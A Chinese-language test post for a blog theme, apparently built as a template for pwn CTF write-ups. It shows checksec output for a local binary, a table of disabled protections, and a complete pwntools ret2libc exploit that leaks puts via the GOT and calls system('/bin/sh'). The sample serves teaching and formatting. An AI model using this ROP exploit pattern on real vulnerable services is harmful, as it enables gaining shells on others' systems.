这是一篇用于预览新主题的测试文章。后面你可以直接删除或改名,真实文章放进 source/_posts 之后,首页、归档、分类、标签、搜索都会自动跟着更新。
快速结论
这套主题更像一个技术人员维护的实验记录:信息密度高一点,颜色克制一点,重点放在文章标题、代码块、目录和检索上。
主题测试的目标不是把页面堆满效果,而是让读 writeup 的时候不累,扫归档的时候能快速定位。
环境检查
先看一下基础保护:
$ checksec ./vuln [*] './vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE
|
| 项目 |
状态 |
影响 |
| Canary |
disabled |
可以覆盖返回地址 |
| NX |
enabled |
需要 ROP 或 ret2libc |
| PIE |
disabled |
程序段地址稳定 |
| RELRO |
partial |
GOT 仍有分析价值 |
利用思路
- 泄露
puts@got 的真实地址。
- 根据 libc 计算
system 和 /bin/sh。
- 第二次返回到
system("/bin/sh")。
from pwn import *
elf = ELF("./vuln") libc = ELF("./libc.so.6") context.binary = elf context.log_level = "debug"
p = process(elf.path) rop = ROP(elf)
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0] payload = flat( b"A" * 72, pop_rdi, elf.got["puts"], elf.plt["puts"], elf.symbols["main"], )
p.sendlineafter(b"input:", payload) leak = u64(p.recvline().strip().ljust(8, b"\x00")) libc.address = leak - libc.symbols["puts"]
payload = flat( b"A" * 72, pop_rdi + 1, pop_rdi, next(libc.search(b"/bin/sh")), libc.symbols["system"], )
p.sendlineafter(b"input:", payload) p.interactive()
|
记录习惯
建议每篇文章固定写这几块:
checksec 和题目信息。
- 漏洞触发点。
- 栈布局或堆布局。
- exp 调试过程。
- 最终脚本和复盘。
后续可替换
这篇只是主题测试文章。等你的真实文章恢复后,可以删掉这个文件,或者保留它当作 Markdown 排版模板。